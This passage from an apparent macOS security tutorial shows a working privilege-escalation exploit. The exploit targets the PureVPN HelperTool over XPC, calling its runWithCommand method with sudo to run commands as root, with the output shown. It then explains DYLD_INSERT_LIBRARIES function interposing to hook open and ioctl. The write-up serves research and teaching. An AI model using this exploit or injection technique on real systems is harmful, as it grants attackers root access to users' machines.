<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">testFunctionAppsAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">configObj</span><span class="p">:(</span><span class="n">NewVPNServiceConfig</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingPreferencesRef</span><span class="p">:(</span><span class="n">SCPreferencesRef</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">bindToLowNumberPortAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSFileHandle</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSFileHandle</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">writeLicenseKey</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">authorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">readLicenseKeyAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">getVersionWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connectWithEndpointReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSXPCListenerEndpoint</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">@end</span>
</code></pre></div></div>

<p>The tool helper offers a lot of methods, But the most interested one is <code class="language-plaintext highlighter-rouge">runWithCommand</code>:</p>

<pre><code class="language-Objc">/* @class HelperTool */
-(void)runWithCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 withReply:(void *)arg5 {
    r12 = [arg2 retain];
    r15 = [arg3 retain];
    r13 = [arg5 retain];
    NSLog(@"%s   %@", "-[HelperTool runWithCommand:withArguments:usingSudo:withReply:]", r15);
    rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];
    [r15 release];
    [r12 release];
    (*(r13 + 0x10))(arg5, sign_extend_64(rbx));
    [r13 release];
    return;
}
</code></pre>

<p>The function here, Passes the parameters to <code class="language-plaintext highlighter-rouge">rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];</code>, When we check <code class="language-plaintext highlighter-rouge">runCommand</code>:</p>

<pre><code class="language-Objc">/* @class HelperTool */
-(char)runCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 {
    r12 = arg3;
    r14 = self;
    r15 = [arg2 retain];
    if (arg4 != 0x0) {
            var_38 = r15;
            r13 = [r12 retain];
            rax = [NSArray arrayWithObjects:&amp;var_38 count:0x1];
            rax = [rax retain];
            rbx = [rax arrayByAddingObjectsFromArray:r13];
            r12 = r15;
            r15 = r14;
            [r13 release];
            rbx = [rbx retain];
            rdi = r15;
            r15 = r12;
            r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
            [rbx release];
            [rax release];
    }
    else {
            rbx = [r12 retain];
            r14 = [r14 runCommand:r15 withArguments:rbx];
            [rbx release];
    }
    var_30 = **___stack_chk_guard;
    [r15 release];
    if (**___stack_chk_guard == var_30) {
            rax = sign_extend_64(r14);
    }
    else {
            rax = __stack_chk_fail();
    }
    return rax;
}
</code></pre>

<p>It checks if <code class="language-plaintext highlighter-rouge">arg4</code> is not <code class="language-plaintext highlighter-rouge">0</code>, If it’s true, Then it will execute the command with <code class="language-plaintext highlighter-rouge">sudo</code> (as root):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
</code></pre></div></div>

<p>We can abuse it to esclate our priviliges, By executing commands as root.</p>

<h3 id="writing-the-exploit">Writing The Exploit</h3>

<p>The argument for the method offered by the <code class="language-plaintext highlighter-rouge">HelperTool</code> has the following arguments:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">(NSString *)arg1</code>: Which is a string (command).</li>
  <li><code class="language-plaintext highlighter-rouge">withArguments:(NSArray *)arg2</code>: The arguments for the command.</li>
  <li><code class="language-plaintext highlighter-rouge">usingSudo:(BOOL)arg3</code>: Argument to use sudo or no.</li>
  <li><code class="language-plaintext highlighter-rouge">withReply:(void (^)(BOOL))arg4;</code>: The XPC reply.</li>
</ul>

<h4 id="first-define-the-protocol-and-services-variable">First define the protocol and services variable</h4>

<pre><code class="language-Objc">#import &lt;Foundation/Foundation.h&gt;

// MachServices to connect to
static NSString* kXPCHelperMachService = @"com.purevpn.macapp.HelperTool";

// Protocol of HelperTool to be used
@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
</code></pre>

<h4 id="second-initialize-our-xpc-connection">Second initialize our XPC connection</h4>

<p>Now, We will start connecting to the service and exploit the method:</p>

<ul>
  <li>Initialize XPC connection for our MachServices</li>
</ul>

<pre><code class="language-Objc">int main(void) {

		
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:kXPCHelperMachService];
</code></pre>

<ul>
  <li>Initialize interface with the protocol</li>
</ul>

<pre><code class="language-Objc">    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
</code></pre>

<ul>
  <li>Set the interface and Start the connection</li>
</ul>

<pre><code class="language-Objc">	[connection setRemoteObjectInterface:interface];
	[connection resume];
</code></pre>

<ul>
  <li>Define the connection object</li>
</ul>

<pre><code class="language-Objc">    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
        if (error) {
            NSLog(@"[+] Error: %@", error);
        }
    }];
</code></pre>

<ul>
  <li>Before calling the <code class="language-plaintext highlighter-rouge">runWithCommand</code> Method we need to define the arguments</li>
</ul>

<pre><code class="language-Objc">	// Define the command
	NSString* cmd = @"touch";
	
	// Define command arguments
	    NSArray* args = [NSArray arrayWithObjects:@"/tmp/zeyadazima.com", @"", nil];
</code></pre>

<ul>
  <li>Now, Call the method from the object</li>
</ul>

<pre><code class="language-Objc">    [obj runWithCommand:cmd withArguments:args usingSudo:YES withReply:^(BOOL err) {
        NSLog(@"[+] Reply, %d", err);
    }];
    
    return 0;
}
</code></pre>

<ul>
  <li>Results</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ~ % <span class="nb">cd</span> /tmp   
/tmp % <span class="nb">ls
</span>com.apple.installerUHykChAa	powerlog
com.apple.launchd.l1jND8ppqA	tmp0000468a
/tmp % ./pure 
/tmp % <span class="nb">ls</span> <span class="nt">-l</span>
total 0
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 05:24 com.apple.installerUHykChAa
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 03:33 com.apple.launchd.l1jND8ppqA
drwxr-xr-x  2 root            wheel  64 Jun  8 09:10 powerlog
drwx------  3 root            wheel  96 Jun 10 05:25 tmp0000468a
<span class="nt">-rw-r--r--</span>  1 root            wheel   0 Jun 10 22:32 zeyadazima.com
</code></pre></div></div>

<p>We can see that the results shows that the file created successfully.</p>

<h1 id="macos-function-hooking">macOS Function Hooking</h1>

<h2 id="function-interposing">Function Interposing</h2>

<p>Function interposing on macOS is a technique that allows you to override or intercept calls to existing functions within dynamic libraries at runtime. This can be useful for various purposes, such as debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for function interposing, you need to add an <code class="language-plaintext highlighter-rouge">__interpose</code> section (or a section flagged with <code class="language-plaintext highlighter-rouge">S_INTERPOSING</code>) in the DATA segment of the <code class="language-plaintext highlighter-rouge">Mach-O</code> file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> to inject the dylib into the target application, as interposing must occur before the main application loads.</p>

<h3 id="how-function-interposing-works">How Function Interposing Works</h3>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>: macOS uses a dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that handles the loading of dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) and the resolution of function addresses at runtime.</li>
  <li><strong>Interposing Functions</strong>: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.</li>
  <li><strong>Interposing Dylib</strong>: You create a custom dynamic library that provides your versions of the functions you want to interpose.</li>
  <li><strong>Environment Variables</strong>: You set environment variables (e.g., <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) to specify the path to your interposing dylib.</li>
</ol>

<h3 id="steps-to-implement-function-interposing">Steps to Implement Function Interposing</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;dlfcn.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">int</span> <span class="n">oflag</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Intercepted open call: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>

    <span class="c1">// Call the original open function</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">oflag</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">va_arg</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">original_open</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">RTLD_NEXT</span><span class="p">,</span> <span class="s">"open"</span><span class="p">);</span>
    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">original_open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">oflag</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_open</span><span class="p">,</span> <span class="n">open</span><span class="p">);</span>
</code></pre></div></div>

<p>let’’s explain our code here in steps:</p>

<ol>
  <li><strong>Define the Interposing Macro</strong></li>
</ol>

<p>Define the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro in your C file. This macro helps create an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the Mach-O file.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span></code></pre></div></div>

<ol>
  <li><strong>Implement the Custom <code class="language-plaintext highlighter-rouge">open</code> Function</strong></li>
</ol>

<p>Define your custom version of <code class="language-plaintext highlighter-rouge">open</code>. This function will replace the original <code class="language-plaintext highlighter-rouge">open</code> when the dylib is injected.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;dlfcn.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">int</span> <span class="n">oflag</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Intercepted open call: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>

    <span class="c1">// Call the original open function</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">oflag</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">va_arg</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">original_open</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="p">...)</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">RTLD_NEXT</span><span class="p">,</span> <span class="s">"open"</span><span class="p">);</span>
    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">original_open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">oflag</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Call the Interposing Macro</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro to specify the replacement of <code class="language-plaintext highlighter-rouge">open</code> with <code class="language-plaintext highlighter-rouge">my_open</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_open</span><span class="p">,</span> <span class="n">open</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Compile the Interposing Dylib</strong></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> interpose.c <span class="nt">-o</span> interpose.dylib
</code></pre></div></div>

<ol>
  <li><strong>Verify the Interpose Section</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">size</code> command to verify the presence of the <code class="language-plaintext highlighter-rouge">__interpose</code> section in the compiled dylib.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-m</span> <span class="nt">-l</span> interpose.dylib
</code></pre></div></div>

<p>Expected output should show an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the <code class="language-plaintext highlighter-rouge">__DATA</code> segment.</p>

<ol>
  <li><strong>Inject the Dylib and Run the Application</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to inject the interposing dylib into your application.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib
<span class="nb">export </span><span class="nv">DYLD_FORCE_FLAT_NAMESPACE</span><span class="o">=</span>1
./your_application
</code></pre></div></div>

<pre><code class="language-mermaid">sequenceDiagram
    participant UserApp
    participant DYLD
    participant InterposeDylib
    participant OriginalLib

    UserApp-&gt;&gt;DYLD: Load UserApp
    DYLD-&gt;&gt;InterposeDylib: Load InterposeDylib
    InterposeDylib-&gt;&gt;OriginalLib: Load OriginalLib (if needed)

    UserApp-&gt;&gt;DYLD: Call open()
    DYLD-&gt;&gt;InterposeDylib: Redirect to interposing open()
    InterposeDylib-&gt;&gt;InterposeDylib: Print intercepted message
    InterposeDylib-&gt;&gt;OriginalLib: Call original open()
    OriginalLib--&gt;&gt;InterposeDylib: Return from open()
    InterposeDylib--&gt;&gt;UserApp: Return from open()
</code></pre>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>:
    <ul>
      <li>The user application (<code class="language-plaintext highlighter-rouge">UserApp</code>) is loaded by the dynamic linker (<code class="language-plaintext highlighter-rouge">DYLD</code>).</li>
    </ul>
  </li>
  <li><strong>Interposing Functions</strong>:
    <ul>
      <li>DYLD loads the interposing dynamic library (<code class="language-plaintext highlighter-rouge">InterposeDylib</code>) which contains the interposed function implementations.</li>
      <li>If necessary, <code class="language-plaintext highlighter-rouge">InterposeDylib</code> will also load the original library (<code class="language-plaintext highlighter-rouge">OriginalLib</code>).</li>
    </ul>
  </li>
  <li><strong>Environment Variables</strong>:
    <ul>
      <li>The environment variable (<code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) instructs DYLD to use the interposing dylib for specific function calls.</li>
      <li>When <code class="language-plaintext highlighter-rouge">UserApp</code> calls a function like <code class="language-plaintext highlighter-rouge">open</code>, DYLD redirects this call to the interposing function in <code class="language-plaintext highlighter-rouge">InterposeDylib</code>.</li>
      <li>The interposing function can perform additional actions (e.g., printing a message) before calling the original function from <code class="language-plaintext highlighter-rouge">OriginalLib</code>.</li>
      <li>The result of the original function is returned back through the interposing dylib to the user application.</li>
    </ul>
  </li>
</ol>

<h2 id="ioctl-interposing">IOCTL Interposing</h2>
<p>Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> calls on macOS allows you to override or intercept calls to the <code class="language-plaintext highlighter-rouge">ioctl</code> function within dynamic libraries at runtime. This can be useful for purposes such as kernel driver fuzzing and analysis, debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for interposing <code class="language-plaintext highlighter-rouge">ioctl</code> calls, you need to add an <code class="language-plaintext highlighter-rouge">__interpose</code> section (or a section flagged with <code class="language-plaintext highlighter-rouge">S_INTERPOSING</code>) in the DATA segment of the <code class="language-plaintext highlighter-rouge">Mach-O</code> file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> to inject the dylib into the target application, as interposing must occur before the main application loads.</p>

<h3 id="how-interposing-ioctl-calls-works">How Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> Calls Works</h3>

<ol>
  <li><strong>Dynamic Linker and DYLD</strong>: macOS uses a dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that handles the loading of dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) and the resolution of function addresses at runtime.</li>
  <li><strong>Interposing Functions</strong>: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.</li>
  <li><strong>Interposing Dylib</strong>: You create a custom dynamic library that provides your versions of the functions you want to interpose.</li>
  <li><strong>Environment Variables</strong>: You set environment variables (e.g., <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>) to specify the path to your interposing dylib.</li>
</ol>

<h3 id="steps-to-implement-interposing-ioctl-calls">Steps to Implement Interposing <code class="language-plaintext highlighter-rouge">ioctl</code> Calls</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
</span>
<span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
    const void* replacement; \
    const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
    (const void*) (unsigned long) &amp;_replacement, \
    (const void*) (unsigned long) &amp;_replacee \
};
</span>
<span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_ioctl</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Define the Interposing Macro</strong></li>
</ol>

<p>Define the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro in your C file. This macro helps create an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the Mach-O file.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span></code></pre></div></div>

<ol>
  <li><strong>Implement the Custom <code class="language-plaintext highlighter-rouge">ioctl</code> Function</strong></li>
</ol>

<p>Define your custom version of <code class="language-plaintext highlighter-rouge">ioctl</code>. This function will replace the original <code class="language-plaintext highlighter-rouge">ioctl</code> when the dylib is injected.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">my_ioctl</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">request</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] IOCTL Request Information: 0x%x, 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">data</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><strong>Call the Interposing Macro</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code> macro to specify the replacement of <code class="language-plaintext highlighter-rouge">ioctl</code> with <code class="language-plaintext highlighter-rouge">my_ioctl</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_ioctl</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><strong>Compile the Interposing Dylib</strong></li>
</ol>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> interpose.c <span class="nt">-o</span> interpose.dylib
</code></pre></div></div>

<ol>
  <li><strong>Verify the Interpose Section</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">size</code> command to verify the presence of the <code class="language-plaintext highlighter-rouge">__interpose</code> section in the compiled dylib.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-m</span> <span class="nt">-l</span> interpose.dylib
</code></pre></div></div>

<p>Expected output should show an <code class="language-plaintext highlighter-rouge">__interpose</code> section in the <code class="language-plaintext highlighter-rouge">__DATA</code> segment.</p>

<ol>
  <li><strong>Inject the Dylib and Run the Application</strong></li>
</ol>

<p>Use the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to inject the interposing dylib into your application.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib
<span class="nb">export </span><span class="nv">DYLD_FORCE_FLAT_NAMESPACE</span><span class="o">=</span>1
/App
</code></pre></div></div>

<p><img width="691" height="473" alt="image" src="https://github.com/user-attachments/assets/f86beb1e-ba95-406a-9ff6-4a390c3ab62b" /></p>

<h3 id="tips">TIPs</h3>

<ol>
  <li><strong>Segmentation Fault</strong></li>
</ol>

<p>If the application crashes with a segmentation fault, inspect the crash log to identify the cause. You might encounter an infinite loop if the interposed function calls another function that ends up calling back the interposed function.</p>

<ul>
  <li><strong>Crash Reports</strong></li>
</ul>

